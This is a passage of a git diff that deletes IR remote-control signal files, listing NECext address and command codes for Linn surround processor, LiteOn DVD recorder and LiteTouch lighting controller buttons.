NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: SKIP>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: INDEX_> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: INDEX_< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 23 00 00 00 -# -name: OPEN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 70 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 71 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 72 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir deleted file mode 100644 index f40873fbb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER/STANDBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOL_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: LASER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: AUX2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: AUX1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: DAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1F 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: NORM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 31 00 00 00 -# -name: SOURCE-V -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: SOURCE-A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: OSG -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: SOURCE-A/V -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 76 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 76 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 77 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir deleted file mode 100644 index 2d251ffa9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 09 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir deleted file mode 100644 index 3c22e42ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LIMBIK_NEXT_(5_KEY) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir deleted file mode 100644 index c75ef350a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 00 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 01 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 02 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 07 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 09 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0B 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 0F 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 10 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 13 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 14 00 00 00 -# -name: PAUSE/STEP -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 17 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 18 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 1C 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 40 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 41 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 42 00 00 00 -# -name: NAVI. -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 43 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 47 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4B 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4C 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4E 00 00 00 -# -name: GUIDER -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 4F 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 50 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 54 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 55 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 0A F7 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir deleted file mode 100644 index 3ffee87f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 81 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 81 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 81 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 81 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 81 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 81 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 81 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 81 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 81 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir deleted file mode 100644 index 762860db5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 82 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir deleted file mode 100644 index df8547ee7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 83 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir deleted file mode 100644 index ae49387f7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir deleted file mode 100644 index aa6884e2b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 85 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir deleted file mode 100644 index ff69cce8b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir deleted file mode 100644 index 4c94a45cb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 87 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir deleted file mode 100644 index ced9b3450..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir deleted file mode 100644 index 357bfe19e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 89 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 89 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 89 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 89 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 89 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 89 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 89 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 89 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 89 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir deleted file mode 100644 index da58e3970..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir deleted file mode 100644 index 57bd7e089..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 91 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 91 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 91 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 91 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 91 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 91 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 91 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 91 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 91 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir deleted file mode 100644 index fda5b99ad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 92 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 92 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 92 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 92 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 92 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 92 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 92 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 92 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 92 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir deleted file mode 100644 index 8e5a4868e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 93 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir deleted file mode 100644 index 2d1d9e39c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 94 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 94 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 94 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 94 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 94 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 94 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 94 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 94 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 94 00 00 00 -command: FF 00 00 00 diff --git 